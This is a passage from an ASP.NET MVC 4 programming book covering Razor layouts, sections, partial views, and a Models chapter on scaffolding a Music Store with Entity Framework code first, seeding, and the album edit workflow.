Razor	<code>@(Html.SomeMethod<AType>())</code>
Web Forms	<code><%: Html.SomeMethod<AType>() %></code>

Layouts

Layouts in Razor help maintain a consistent look and feel across multiple views within your application. If you're familiar with Web Forms, layouts serve the same purpose as master pages, but offer both a simpler syntax and greater flexibility.

You can use a layout to define a common template for your site (or just part of it). This template contains one or more placeholders that the other views in your application provide content for. In some ways, it's like an abstract base class for your views.

Let's look at a very simple layout; we'll creatively call it `SiteLayout.cshtml`:

```
<!DOCTYPE html>
<html>
<head><title>@ViewBag.Title</title></head>
<body>
```

```
<h1>@ViewBag.Title</h1>
<div id="main-content">@RenderBody()</div>
</body>
</html>
```

It looks like a standard Razor view, but note that there's a call to `@RenderBody` in the view. This is a placeholder that marks the location where views using this layout will have their main content rendered. Multiple Razor views may now take advantage of this layout to enforce a consistent look and feel.

Let's look at an example that uses this layout, `Index.cshtml`:

```
@{
    Layout = "~/Views/Shared/SiteLayout.cshtml";
    View.Title = "The Index!";
}
<p>This is the main content!</p>
```

This view specifies its layout via the `Layout` property. When this view is rendered, the HTML contents in this view will be placed within the `DIV` element, `main-content` of `SiteLayout.cshtml`, resulting in the following combined HTML markup:

```
<!DOCTYPE html>
<html>
<head><title>The Index!</title></head>
<body>
    <h1>The Index!</h1>
    <div id="main-content"><p>This is the main content!</p></div>
</body>
</html>
```

Notice that the view content, the title, and the `h1` heading have all been marked in bold to emphasize that they were supplied by the view and everything else was supplied by the layout.

A layout may have multiple sections. For example, let's add a footer section to the previous layout, `SiteLayout.cshtml`:

```
<!DOCTYPE html>
<html>
<head><title>@ViewBag.Title</title></head>
<body>
    <h1>@ViewBag.Title</h1>
    <div id="main-content">@RenderBody()</div>
    <footer>@RenderSection("Footer")</footer>
</body>
</html>
```

Running the previous view again without any changes will throw an exception stating that a section named `Footer` was not defined. By default, a view must supply content for every section defined in the layout.

Here's the updated view:

```
@{
    Layout = "~/Views/Shared/SiteLayout.cshtml";
```

```

        View.Title = "The Index!";
    }
<p>This is the main content!</p>

@section Footer {
    This is the <strong>footer</strong>.
}

}

```

The `@section` syntax specifies the contents for a section defined in the layout.

Earlier, it was pointed out that, by default, a view must supply content for every defined section. So what happens when you want to add a new section to a layout? Will that break every view?

Fortunately, the `RenderSection` method has an overload that allows you to specify that the section is not required. To mark the `Footer` section as optional you can pass in `false` for the `required` parameter:

```
<footer>@RenderSection("Footer", required: false)</footer>
```

But wouldn't it be nicer if you could define some default content if the section isn't defined in the view? Well, here's one way. It's a bit verbose, but it works.

```

<footer>
    @if (IsSectionDefined("Footer")) {
        RenderSection("Footer");
    }
    else {
        <span>This is the default footer.</span>
    }
</footer>

```

In Chapter 15 we'll look at an advanced feature of the Razor syntax you can leverage called Templatized Razor Delegates to implement an even better approach to this.

DEFAULT LAYOUT CHANGES IN MVC 4

When you create a new MVC 4 application using either the Internet or Intranet template, you'll get a default layout with some basic style applied. Prior to MVC 4, the design in the default templates was very Spartan — just a block of white text on a blue background.

As mentioned in Chapter 1, the default templates have been completely rewritten in MVC 4 to provide a much better visual design. In addition to simply looking better, the new HTML and CSS adapts to differing screen widths (including small mobile browsers). This adaptive design takes advantage of modern web standards such as CSS Media Queries. We'll look at how this works in detail in Chapter 15.

ViewStart

In the preceding examples, each view specified its layout page using the `Layout` property. For a group of views that all use the same layout, this can get a bit redundant and harder to maintain.

The `_ViewStart.cshtml` page can be used to remove this redundancy. The code within this file is executed before the code in any view placed in the same directory. This file is also recursively applied to any view within a subdirectory.

When you create a default ASP.NET MVC project, you'll notice there is already a `_ViewStart.cshtml` file in the Views directory. It specifies a default layout:

```
@{
    Layout = "~/Views/Shared/_Layout.cshtml";
}
```

Because this code runs before any view, a view can override the `Layout` property and choose a different one. If a set of views shares common settings, the `_ViewStart.cshtml` file is a useful place to consolidate these common view settings. If any view needs to override any of the common settings, the view can set those values to another value.

SPECIFYING A PARTIAL VIEW

In addition to returning a view, an action method can also return a partial view in the form of a `PartialViewResult` via the `PartialView` method. Here's an example:

```
public class HomeController : Controller {
    public ActionResult Message() {
        ViewBag.Message = "This is a partial view.";
        return PartialView();
    }
}
```

In this case, the view named `Message.cshtml` will be rendered; however, if the layout is specified by a `_ViewStart.cshtml` page (and not directly within the view), the layout will not be rendered.

The partial view itself looks much like a normal view, except it doesn't specify a layout:

```
<h2>@ViewBag.Message</h2>
```

This is useful in partial update scenarios using AJAX. The following shows a very simple example using jQuery to load the contents of a partial view into the current view using an AJAX call:

```
<div id="result"></div>

<script type="text/javascript">
$(function(){
    $('#result').load('/home/message');
});
</script>
```

The preceding code uses the jQuery `load` method to make an AJAX request to the `Message` action and updates the DIV with the id `result` with the result of that request.

To see the examples of specifying views and partial views described in the previous two sections, use NuGet to install the `Wrox.ProMvc4.Views.SpecifyingViews` package into a default ASP.NET MVC 4 project, as follows:

```
Install-Package Wrox.ProMvc4.Views.SpecifyingViews
```

This will add a sample controller to your project in the samples directory with multiple action methods, each specifying a view in a different manner. To run each sample action, press **Ctrl+F5** on your project and visit:

- /sample/index
- /sample/index2
- /sample/index3
- /sample/partialviewdemo

SUMMARY

View engines have a very specific, constrained purpose. They exist to take data passed to them from the controller and generate formatted output, usually HTML. Other than those simple responsibilities, or *concerns*, as the developer you are empowered to achieve the goals of your view in any way that makes you happy. The Razor view engine's terse and simple syntax makes writing rich and secure pages easy, regardless of whether the pages are simple or complex.

Models

Scott Allen

WHAT'S IN THIS CHAPTER?

- How to model the Music Store
- What it means to scaffold
- How to edit an album
- All about model binding

The word *model* in software development is overloaded to cover hundreds of different concepts. There are maturity models, design models, threat models, and process models. It's rare to sit through a development meeting without talking about a model of one type or another. Even when one scopes the term "model" to the context of the MVC design pattern, one can still debate the merits of having a business-oriented model object versus a view-specific model object. (You might remember this discussion from Chapter 3.)

This chapter talks about models as the objects you use to send information to the database, perform business calculations, and even render in a view. In other words, these objects represent the *domain* the application focuses on, and the models are the objects you want to display, save, create, update, and delete.

ASP.NET MVC 4 provides a number of tools and features to build out application features using only the definition of model objects. You can sit down and think about the problem you want to solve (like how to let a customer buy music), and write plain C# classes, like `Album`, `ShoppingCart`, and `User`, to represent the primary objects involved. Then when you are ready, you can use tools provided by MVC to construct the controllers and views for the standard index, create, edit, and delete scenarios for each of the model objects. The construction work is called *scaffolding*, but before discussing scaffolding, you need some models to work with.

MODELING THE MUSIC STORE

Imagine you are building the ASP.NET MVC Music Store from scratch. You start, as with all great applications, by using the File \Rightarrow New Project menu command in Visual Studio. Once you give the project a name, Visual Studio will open the dialog you see in Figure 4-1, and you can tell Visual Studio you want to work with the Internet Application project template.

FIGURE 4-1

The Internet Application project template gives you everything you need to get started (see Figure 4-2): a basic layout view, a default homepage with a link for a customer to log in, an initial style sheet, and a relatively empty `Models` folder. All you find inside the `Models` folder is an `AccountModels.cs` file with some view-specific model classes for account management (the classes are specific to the views for registering, logging in, and changing a password).

The `Models` folder is nearly empty because the project template doesn't know what domain you are working in and it doesn't know what problem you are trying to solve.

At this point, you might not know what problem you are trying to solve, either! You might need to talk to customers and business owners, and do some initial prototyping or test-driven development to start fleshing out a design. The ASP.NET MVC framework doesn't dictate your process or methodologies.

Eventually, you might decide the first step in building a music store is having the ability to list, create, edit, and delete music album information. You'll use the following class to model an album:

```
public class Album
{
    public virtual int     AlbumId      { get; set; }
    public virtual int     GenreId      { get; set; }
    public virtual int     ArtistId     { get; set; }
    public virtual string  Title        { get; set; }
    public virtual decimal Price        { get; set; }
    public virtual string  AlbumArtUrl { get; set; }
    public virtual Genre   Genre        { get; set; }
    public virtual Artist  Artist       { get; set; }
}
```

The primary purpose of the album model is to simulate attributes of a music album, such as the title and the price. Every album also has an association with a single artist:

```
public class Artist
{
    public virtual int     ArtistId     { get; set; }
    public virtual string  Name         { get; set; }
}
```

FIGURE 4-2

You might notice how each `Album` has *two* properties for managing an associated artist: the `Artist` property and the `ArtistId` property. We call the `Artist` property a *navigational property*, because given an album, you can *navigate* to the album's associated artist using the dot operator (`favoriteAlbum.Artist`).

We call the `ArtistId` property a *foreign key property*, because you know a bit about how databases work, and you know artists and albums will each maintain records in two different tables. Each artist may maintain an association with multiple albums. You want to have the foreign key value for an artist embedded in the model for your album, because there will be a foreign key relationship between the table of artist records and the table of album records.

MODEL RELATIONSHIPS

Some readers won't like the idea of using foreign key properties in a model because foreign keys are an implementation detail for a relational database to manage. Foreign key properties are not required in a model object, so you could leave them out.

In this chapter, you are going to use foreign key properties because they offer many conveniences with the tools you'll be using.

An album also has an associated genre, and every genre can maintain a list of associated albums:

```
public class Genre
{
    public virtual int     GenreId      { get; set; }
    public virtual string   Name         { get; set; }
    public virtual string   Description  { get; set; }
    public virtual List<Album> Albums     { get; set; }
}
```

You might also notice that every property is virtual. I discuss why the properties are virtual later in this chapter. For now, these three simple class definitions are your starting models, and include everything you need to scaffold out a controller and some views and even create a database.

SCAFFOLDING A STORE MANAGER

Your next decision might be to create a *store manager*. A store manager is a controller enabling you to edit album information. To get started you can right-click the Controllers folder in your new solution and select Add Controller. In the dialog that appears (shown in Figure 4-3), you can set the controller name and select scaffolding options. The scaffolding template selected in the screenshot requires a model class and a data context.

FIGURE 4-3

What Is Scaffolding?

Scaffolding in ASP.NET MVC can generate the boilerplate code you need for create, read, update, and delete (CRUD) functionality in an application. The scaffolding templates can examine the type definition for a model (such as the `Album` class you've created), and then generate a controller and the controller's associated views. The scaffolding knows how to name controllers, how to name views, what code needs to go in each component, and where to place all these pieces in the project for the application to work.

SCAFFOLDING OPTIONS

Like nearly everything else in the MVC framework, if you don't like the default scaffolding behavior, you can customize or replace the code generation strategy to fulfill your own desires. You can also find alternative scaffolding templates through NuGet (just search for "scaffolding"). The NuGet repository is filling up with scaffolding to generate code using specific design patterns and technologies.

If you *really* don't like the scaffolding behavior, you can always handcraft everything from scratch. Scaffolding is not required to build an application, but it can save you time when you can make use of it.

Don't expect scaffolding to build an entire application. Instead, expect scaffolding to release you from the boring work of creating files in the right locations and writing 100 percent of the application code by hand. You can tweak and edit the output of the scaffolding to make the application your own. Scaffolding runs only when you tell it to run, so you don't have to worry about a code generator overwriting the changes you make to the output files.

A variety of scaffolding templates are available in MVC 4. The scaffolding template you select will control just how far the scaffolding will go with code generation. The following sections highlight a few of the available templates.

Empty Controller

The empty controller template adds a `Controller`-derived class to the `Controllers` folder with the name you specify. The only action in the controller will be an `Index` action with no code inside (other than the code to return a default `viewResult`). This template will not create any views.

Controller with Empty Read/Write Actions

This template adds a controller to your project with `Index`, `Details`, `Create`, `Edit`, and `Delete` actions. The actions inside are not entirely empty, but they won't perform any useful work until you add your own code and create the views for each action.

API Controller with Empty Read/Write Actions

This template adds a controller derived from the `ApiController` base class. You can use this template to build a Web API for your application. We will discuss Web API in more detail in Chapter 11.

Controller with Read/Write Actions and Views, Using Entity Framework

This template is the template you are about to select. This template not only generates your controller with the entire suite of `Index`, `Details`, `Create`, `Edit`, and `Delete` actions, but also generates all the required views and the code to persist and retrieve information from a database.

For the template to generate the proper code, you have to select a model class (in Figure 4-3, you selected the `Album` class). The scaffolding examines all the properties of your model and uses the information it finds to build controllers, views, and data access code.

To generate the data access code, the scaffolding also needs the name of a *data context* object. You can point the scaffolding to an existing data context, or the scaffolding can create a new data context on your behalf. What is a data context? I have to take another aside to give a quick introduction to the Entity Framework.

Scaffolding and the Entity Framework

A new ASP.NET MVC 4 project will automatically include a reference to the Entity Framework (EF). EF is an object-relational mapping framework and understands how to store .NET objects in a relational database and retrieve those same objects given a LINQ query.

FLEXIBLE DATA OPTIONS

If you don't want to use the Entity Framework in your ASP.NET MVC application, there is nothing in the framework forcing you to take a dependency on EF. In fact, there is nothing in the framework forcing you to use a database, relational or otherwise. You can build applications using any data access technology or data source. If you want to work with comma-delimited text files or web services using the full complement of WS-* protocols, you can!

In this chapter, you work with EF, but many of the topics covered are broadly applicable to any data source.

EF supports a code-first style of development. *Code First* means you can start storing and retrieving information in SQL Server without creating a database schema or opening a Visual Studio designer. Instead, you write plain C# classes and EF figures out how, and where, to store instances of those classes.

Remember how all the properties in your model objects are virtual? Virtual properties are not required, but they do give EF a hook into your plain C# classes and enable features like an efficient change tracking mechanism. The EF needs to know when a property value on a model changes, because it might need to issue a SQL UPDATE statement to reconcile those changes with the database.

WHICH COMES FIRST — THE CODE OR THE DATABASE?

If you already are familiar with the EF, and you are using a *model-first* or *schema-first* approach to development, the MVC scaffolding will support you, too. The EF team designed the code-first approach to give developers a friction-free environment for iteratively working with code and a database.

Code First Conventions

EF, like ASP.NET MVC, follows a number of conventions to make your life easier. For example, if you want to store an object of type `Album` in the database, EF assumes you want to store the data in a table named `Albums`. If you have a property on the object named `ID`, EF assumes the property holds the primary key value and sets up an auto-incrementing (identity) key column in SQL Server to hold the property value.

EF also has conventions for foreign key relationships, database names, and more. These conventions replace all the mapping and configuration you historically provide to an object-relational mapping framework. The code-first approach works fantastically well when starting an application from scratch. If you need to work with an existing database, you'll probably need to provide mapping metadata (perhaps by using the EF's schema-first approach to development). If you want to learn more about EF, you can start at the Data Developer Center on MSDN (<http://msdn.microsoft.com/en-us/data/aa937723>).

The `DbContext` Class

When using EF's code-first approach, the gateway to the database will be a class derived from EF's `DbContext` class. The derived class will have one or more properties of type `DbSet<T>`, where each `T` represents the type of object you want to persist. For example, the following class enables you to store and retrieve `Album` and `Artist` information:

```
public class MusicStoreDB : DbContext
{
    public DbSet<Album> Albums { get; set; }
    public DbSet<Artist> Artists { get; set; }
}
```

Using the preceding data context, you can retrieve all albums in alphabetical order using the LINQ query in the following code:

```
var db = new MusicStoreDB();
var allAlbums = from album in db.Albums
                orderby album.Title ascending
                select album;
```

Now that you know a little bit about the technology surrounding the built-in scaffolding templates, let's move ahead and see what code comes out of the scaffolding process.

SELECTING A DATA ACCESS STRATEGY

There are many different approaches to accessing data these days, and the approach you use will depend not only on the type of application you build, but also on your personality (or your team's personality). There is no single data access strategy that can work for all applications and all teams.

The approach in this chapter uses the tooling of Visual Studio and will get you up and running quickly. There isn't anything explicitly wrong with the code; however,

continues

(continued)

for some developers and some projects, the approach is too simplistic. The scaffolding we use in this chapter assumes you are building an application that needs to implement basic create, read, update, and delete (CRUD) functionality. Many applications exist only to provide CRUD functionality with basic validations and a minimal amount of business workflows and business rules. The scaffolding works well for these applications.

For more complex applications you'll want to investigate different architectures and design patterns that can suit your needs. Domain-driven design (DDD) is one approach that teams use to tackle complex applications. Command-query responsibility segregation (CQRS) is also a pattern gaining mindshare among teams wrestling with difficult applications.

Some of the popular design patterns used in DDD and CQRS include the repository and unit of work design patterns. For more information on these design patterns, see <http://msdn.microsoft.com/en-us/library/ff714955.aspx>. One of the advantages to the repository pattern is that you can create a formal boundary between the data access code and the rest of your application. This boundary can improve the ability to unit test your code, which is not one of the strengths of the code generated by the default scaffolding (because of hard-coded dependencies on the Entity Framework).

Executing the Scaffolding Template

Back at the Add Controller dialog box (refer to Figure 4-3), select the drop-down list under Data Context Class and select New Data Context. The New Data Context dialog shown in Figure 4-4 appears and you can enter the name of the class you will use to access the database (including the namespace for the class).

FIGURE 4-4

Name your context **MusicStoreDB**, click OK, and the Add Controller dialog (Figure 4-5) is complete. You are about to scaffold a `StoreManagerController` and its associated views for the `Album` class.

After you click the Add button, scaffolding jumps into action and adds new files to various locations in the project. Let's explore these new files before you move forward.

FIGURE 4-5

The Data Context

The scaffolding adds a `MusicStoreDB.cs` file into the `Models` folder of your project. The class inside the file derives from the EF's `DbContext` class and gives you access to album, genre, and artist information in the database. Even though you told the scaffolding only about the `Album` class, the scaffolding saw the related models and included them in the context.

```
public class MusicStoreDB : DbContext
{
    public DbSet<Album> Albums { get; set; }

    public DbSet<Genre> Genres { get; set; }

    public DbSet<Artist> Artists { get; set; }
}
```

To access a database, all you need to do is instantiate the data context class. You might be wondering what database the context will use. That question will be answered later when you first run the application.

The StoreManagerController

The scaffolding template you selected also generates a `StoreManagerController` in the `Controllers` folder of the application. The controller will have all the code required to select and edit album information. Look at the starting few lines of the class definition:

```
public class StoreManagerController : Controller
{
    private MusicStoreDB db = new MusicStoreDB();
```

```

//  

// GET: /StoreManager/  
  

public ViewResult Index()  

{  

    var albums = db.Albums.Include(a => a.Genre).Include(a => a.Artist);  

    return View(albums.ToList());  

}  
  

// more later ...

```

In this first code snippet, you can see the scaffolding added a private field of type `MusicStoreDB` to the controller. The scaffolding also initializes the field with a new instance of the data context because every controller action requires database access. In the `Index` action, you can see the code is using the context to load all albums from the database into a list, and passing the list as the model for the default view.

LOADING RELATED OBJECTS

The `Include` method calls that you see in the `Index` action tell the EF to use an *eager loading strategy* in loading an album's associated genre and artist information. An eager loading strategy attempts to load all data using a single query.

The alternative (and default) strategy for the EF is a *lazy loading* strategy. With lazy loading, EF loads only the data for the primary object in the LINQ query (the album), and leaves the `Genre` and `Artist` properties unpopulated:

```
var albums = db.Albums;
```

Lazy loading brings in the related data on an as-needed basis, meaning when something touches the `Genre` or `Artist` property of an `Album`, EF loads the data by sending an additional query to the database. Unfortunately, when dealing with a list of album information, a lazy loading strategy can force the framework to send an additional query to the database for *each* album in the list. For a list of 100 albums, lazy loading all the artist data requires 101 total queries. The scenario just described is known as the *N+1 problem* (because the framework executes 101 total queries to bring back 100 populated objects), and is a common problem to face when using an object-relational mapping framework. Lazy loading is convenient, but potentially expensive.

You can think of `Include` as an optimization to reduce the number of queries needed in building the complete model. To read more about lazy loading see “Loading Related Objects” on MSDN at <http://msdn.microsoft.com/library/bb896272.aspx>.

Scaffolding also generates actions to create, edit, delete, and show detailed album information. You will take a closer look at the actions behind the edit functionality later in this chapter.

The Views

Once the scaffolding finishes running, you'll also find a collection of views underneath the new Views/StoreManager folder. These views provide the UI for listing, editing, and deleting albums. You can see the list in Figure 4-6.

The Index view has all the code needed to display a table full of music albums. The model for the view is an enumerable sequence of Album objects, and as you saw in the Index action earlier, an enumerable sequence of Album objects is precisely what the Index action delivers. The view takes the model and uses a foreach loop to create HTML table rows with album information:

```
@model IEnumerable<MvcMusicStore.Models.Album>

 @{
    ViewBag.Title = "Index";
}

<h2>Index</h2>

<p>
    @Html.ActionLink("Create New", "Create")
</p>
<table>
    <tr>
        <th>@Html.DisplayNameFor(model => model.Genre.Name)</th>
        <th>@Html.DisplayNameFor(model => model.Artist.Name)</th>
        <th>@Html.DisplayNameFor(model => model.Title)</th>
        <th>@Html.DisplayNameFor(model => model.Price)</th>
        <th>@Html.DisplayNameFor(model => model.AlbumArtUrl)</th>
        <th></th>
    </tr>
    @foreach (var item in Model) {
        <tr>
            <td>@Html.DisplayFor(modelItem => item.Genre.Name)</td>
            <td>@Html.DisplayFor(modelItem => item.Artist.Name)</td>
            <td>@Html.DisplayFor(modelItem => item.Title)</td>
            <td>@Html.DisplayFor(modelItem => item.Price)</td>
            <td>@Html.DisplayFor(modelItem => item.AlbumArtUrl)</td>
            <td>
                @Html.ActionLink("Edit", "Edit", new { id=item.AlbumId }) |
                @Html.ActionLink("Details", "Details", new { id=item.AlbumId }) |
                @Html.ActionLink("Delete", "Delete", new { id=item.AlbumId })
            </td>
        </tr>
    }
</table>
```

FIGURE 4-6

Notice how the scaffolding selected all the “important” fields for the customer to see. In other words, the table in the view does not display any foreign key property values (they would be meaningless to a customer), but does display the associated genre’s name and the associated artist’s name. The view uses the `DisplayFor` HTML helper for all model output.

Each table row also includes links to edit, delete, and detail an album. As mentioned earlier, the scaffolded code you are looking at is just a starting point. You probably want to add, remove, and change some of the code and tweak the views to your exact specifications. But, before you make changes, you might want to run the application to see what the current views look like.

Executing the Scaffolded Code

Before you start the application running, let’s address a burning question from earlier in the chapter. What database will `MusicStoreDB` use? You haven’t created a database for the application to use or even specified a database connection.

Creating Databases with the Entity Framework

The code-first approach of EF attempts to use convention over configuration as much as possible. If you don’t configure specific mappings from your models to database tables and columns, EF uses conventions to create a database schema. If you don’t configure a specific database connection to use at runtime, EF creates one using a convention.

CONFIGURING CONNECTIONS

Explicitly configuring a connection for a code-first data context is as easy as adding a connection string to the `web.config` file. The connection string name must match the name of the data context class. In the code you’ve been building, you could control the context’s database connections using the following connection string:

```
<connectionStrings>
  <add name="MusicStoreDB"
    connectionString="data source=.\SQLEXPRESS;
      Integrated Security=SSPI;
      initial catalog=MusicStore"
    providerName="System.Data.SqlClient" />
</connectionStrings>
```

Without a specific connection configured, EF tries to connect to a LocalDB instance of SQL Server Express and find a database with the same name as the `DbContext` derived class. If EF can connect to the database server, but doesn’t find a database, the framework creates the database. If you run the application after scaffolding completes, and navigate to the `/StoreManager` URL, you’ll discover that the EF has created a database named `MvcMusicStore.Models.MusicStoreDB` in LocalDB. If you look at a complete diagram of the new database, you’ll see what’s shown in Figure 4-7.

**FIGURE 4-7**

The EF automatically creates tables to store album, artist, and genre information. The framework uses the model's property names and data types to determine the names and data types of the table column. Notice how the framework also deduced each table's primary key column and the foreign key relationships between tables.

The **EdmMetadata** table in the database is a table EF uses to ensure the model classes are synchronized with the database schema (by computing a hash from the model class definitions). If you change your model (by adding a property, removing a property, or adding a class, for example), EF will either re-create the database based on your new model, or throw an exception. Don't worry. EF will not re-create the database without your permission; you need to provide a *database initializer*.

EDMMETADATA

EF does not require an **EdmMetadata** table in your database. The table is here only so EF can detect changes in your model classes. You can safely remove the **EdmMetadata** table from the database and the Entity Framework will assume you know what you are doing. Once you remove the **EdmMetadata** table, you (or your DBA) will be responsible for making schema changes in the database to match the changes in your models. You might also keep things working by changing the mapping between the models and the database. See [http://msdn.microsoft.com/library/gg696169\(VS.103\).aspx](http://msdn.microsoft.com/library/gg696169(VS.103).aspx) as a starting point for mapping and annotations.

Using Database Initializers

An easy way to keep the database in sync with changes to your model is to allow the Entity Framework to re-create an existing database. You can tell EF to re-create the database every time an application starts, or you can tell EF to re-create the database only when it detects a change in the

model. You choose one of these two strategies when calling the static `SetInitializer` method of EF's `Database` class (from the `System.Data.Entity` namespace).

When you call `SetInitializer` you need to pass in an `IDatabaseInitializer` object, and two are provided with the framework: `DropCreateDatabaseAlways` and `DropCreateDatabaseIfModelChanges`. You can tell by the names of the classes which strategy each class represents. Both initializers require a generic type parameter, and the parameter must be a `DbContext` derived class.

As an example, say you wanted to re-create the music store database every time the application starts afresh. Inside `global.asax.cs`, you can set an initializer during application startup:

```
protected void Application_Start()
{
    Database.SetInitializer(new DropCreateDatabaseAlways<MusicStoreDB>());

    AreaRegistration.RegisterAllAreas();
    RegisterGlobalFilters(GlobalFilters.Filters);
    RegisterRoutes(RouteTable.Routes);
}
```

You might be wondering why anyone would want to re-create a database from scratch every time an application restarts. Even when the model changes, don't you want to preserve the data inside?

These are valid questions, and you'll have to remember that features in the code-first approach (like the database initializer) facilitate the iterative and fast-changing phases early in the application life cycle. Once you push a site live and take real customer data, you won't just re-create the database every time your model changes.

MIGRATIONS

The 4.3 release of the Entity Framework includes the ability to discover the changes you've made to model objects and generate schema change instructions for SQL Server. Migrations allow you to preserve existing data in your database as you build and refine your model definitions. For more information, see <http://blogs.msdn.com/b/adonet/archive/2012/02/09/ef-4-3-code-based-migrations-walkthrough.aspx>.

In the initial phase of a project you might want to have a new database populated with some initial records, like lookup values. You can do this by seeding the database.

Seeding a Database

For the MVC Music Store, let's pretend you want to start development by re-creating the database every time your application restarts. However, you want the new database to have a couple of genres, artists, and even an album available so you can work with the application without entering data to put the application into a usable state.

In this case you can derive a class from the `DropCreateDatabaseAlways` class and override the `Seed` method. The `Seed` method enables you to create some initial data for the application, as you can see in the following code:

```
public class MusicStoreDbInitializer
    : DropCreateDatabaseAlways<MusicStoreDB>
{
    protected override void Seed(MusicStoreDB context)
    {
        context.Artists.Add(new Artist { Name = "Al Di Meola" });

        context.Genres.Add(new Genre { Name = "Jazz" });

        context.Albums.Add(new Album
        {
            Artist = new Artist { Name="Rush" },
            Genre = new Genre { Name="Rock" },
            Price = 9.99m,
            Title = "Caravan"
        });
        base.Seed(context);
    }
}
```

Calling into the base class implementation of the `Seed` method saves your new objects into the database. You'll have a total of two genres (Jazz and Rock), two artists (Al Di Meola and Rush), and a single album in every new instance of the music store database. For the new database initializer to work, you need to change the application startup code to register the initializer:

```
protected void Application_Start()
{
    Database.SetInitializer(new MusicStoreDbInitializer());

    AreaRegistration.RegisterAllAreas();
    RegisterGlobalFilters(GlobalFilters.Filters);
    RegisterRoutes(RouteTable.Routes);
}
```

If you restart and run the application now, and navigate to the `/StoreManager` URL, you'll see the store manager's `Index` view, as shown in Figure 4-8.

Voilà! A running application with real functionality and with real data!

Although it might seem like a lot of work, you spent most of the chapter so far on understanding the generated code and the Entity Framework. Once you know what scaffolding can do for you, the actual amount of work is relatively small and requires only three steps.

- 1.** Implement your model classes.
- 2.** Scaffold your controller and views.
- 3.** Choose your database initialization strategy.

**FIGURE 4-8**

Remember, scaffolding only gives you a starting point for a particular piece of the application. You are now free to tweak and revise the code. For example, you may or may not like the links on the right side of each album row (Edit, Details, Delete). You are free to remove those links from the view. What you'll do in this chapter, however, is drill into the edit scenario to see how to update models in ASP.NET MVC.

EDITING AN ALBUM

One of the scenarios the scaffolding will handle is the edit scenario for an album. This scenario begins when the user clicks the Edit link in the Index view from Figure 4-8. The Edit link sends an HTTP GET request to the web server with a URL like `/StoreManager/Edit/8` (where 8 is the ID of a specific album). You can think of the request as, “get me something to edit album #8.”

Building a Resource to Edit an Album

The default MVC routing rules deliver the HTTP GET for `/StoreManager/Edit/8` to the `Edit` action of the `StoreManager` controller (shown in the following code):

```
//  
// GET: /StoreManager/Edit/8  
  
public ActionResult Edit(int id = 0)  
{  
    Album album = db.Albums.Find(id);  
    if (album == null)  
    {  
        return HttpNotFound();  
    }  
}
```

```

ViewBag.GenreId = new SelectList(db.Genres, "GenreId", "Name", album.GenreId);
ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId", "Name", album.ArtistId);
return View(album);
}

```

The `Edit` action has the responsibility of building a model to edit album #8. It uses the `MusicStoreDB` class to retrieve the album, and hands the album to the view as the model. But what is the purpose of the two lines of code putting data into the `ViewBag`? The two lines of code might make more sense when you look at the page a user will see for editing an album (shown in Figure 4-9).

FIGURE 4-9

When users edit an album, you don't want them to enter freeform text for the genre and artist values. Instead, you want them to select a genre and artist that are already available from the database. The scaffolding was smart enough to realize this too, because the scaffolding understood the association between album, artist, and genre.

Instead of giving the user a textbox to type into, the scaffolding generated an edit view with a drop-down list to select an existing genre. The following code is from the store manager's `Edit` view, and it is the code that builds the drop-down list for genre (shown opened with the two available genres in Figure 4-9):

```

<div class="editor-field">
    @Html.DropDownList("GenreId", String.Empty)
    @Html.ValidationMessageFor(model => model.GenreId)
</div>

```

You look at the `DropDownList` helper in more detail in the next chapter, but for now picture yourself building a drop-down list from scratch. To build the list, you need to know what list items are available. An `Album` model object does not keep all the available genres from the database — an `Album` object holds only the one genre associated with itself. The two extra lines of code in the `Edit` action are building the lists of every possible artist and every possible genre, and storing those lists in the `ViewBag` for the `DropDownList` helper to retrieve later.

```
ViewBag.GenreId = new SelectList(db.Genres, "GenreId", "Name", album.GenreId);
ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId", "Name", album.ArtistId);
```

The `SelectList` class that the code is using represents the data required to build a drop-down list. The first parameter to the constructor specifies the items to place in the list. The second parameter is the name of the property containing the value to use when the user selects a specific item (a key value, like 52 or 2). The third parameter is the text to display for each item (like “Rock” or “Rush”). Finally, the third parameter contains the value of the initially selected item.

Models and View Models Redux

Remember when the preceding chapter talked about the concept of a view-specific model? The album edit scenario is a good example, where your model object (an `Album` object) doesn’t quite contain *all* the information required by the view. You need the lists of all possible genres and artists, too. There are two possible solutions to this problem.

The scaffolding-generated code demonstrates the first option: pass the extra information along in the `ViewBag` structure. This solution is entirely reasonable and easy to implement, but some people want all the model data to be available through a strongly typed model object.

The strongly typed model fans will probably look at the second option: build a view-specific model to carry both the album information and the genre and artists information to a view. Such a model might use the following class definition:

```
public class AlbumEditViewModel
{
    public Album AlbumToEdit { get; set; }
    public SelectList Genres { get; set; }
    public SelectList Artists { get; set; }
}
```

Instead of putting information in `ViewBag`, the `Edit` action would need to instantiate the `AlbumEditViewModel`, set all the object’s properties, and pass the view model to the view. One approach isn’t necessarily better than the other. You have to pick the approach that works best with your personality (or your team’s personality).

The Edit View

The following code isn’t exactly what is inside the `Edit` view, but it does represent the *essence* of what is in the `Edit` view:

```
@using (Html.BeginForm()) {
    @Html.DropDownList("GenreId", String.Empty)
    @Html.EditorFor(model => model.Title)
    @Html.EditorFor(model => model.Price)
```

```

<p>
    <input type="submit" value="Save" />
</p>
}

```

The view includes a form with a variety of inputs for a user to enter information. Some of the inputs are drop-down lists (HTML `<select>` elements), and others are textbox controls (HTML `<input type="text">` elements). The *essence* of the HTML rendered by the `Edit` view looks like the following code:

```

<form action="/storemanager/Edit/8" method="post">
    <select id="GenreId" name="GenreId">
        <option value=""></option>
        <option selected="selected" value="1">Rock</option>
        <option value="2">Jazz</option>
    </select>
    <input class="text-box single-line" id="Title" name="Title"
        type="text" value="Caravan" />
    <input class="text-box single-line" id="Price" name="Price"
        type="text" value="9.99" />
    <p>
        <input type="submit" value="Save" />
    </p>
</form>

```

The HTML sends an HTTP POST request *back* to `/StoreManager/Edit/8` when the user clicks the Save button on the page. The browser automatically collects all the information a user enters into the form and sends the values (and their associated names) along in the request. Notice the `name` attributes of the `input` and `select` elements in the HTML. The names match the property names of your `Album` model, and you'll see why the naming is significant shortly.

Responding to the Edit POST Request

The action accepting an HTTP POST request to edit album information also has the name `Edit`, but is differentiated from the previous `Edit` action you saw because of an `HttpPost` action selector attribute:

```

// 
// POST: /StoreManager/Edit/8

[HttpPost]
public ActionResult Edit(Album album)
{
    if (ModelState.IsValid)
    {
        db.Entry(album).State = EntityState.Modified;
        db.SaveChanges();
        return RedirectToAction("Index");
    }
    ViewBag.GenreId = new SelectList(db.Genres, "GenreId",
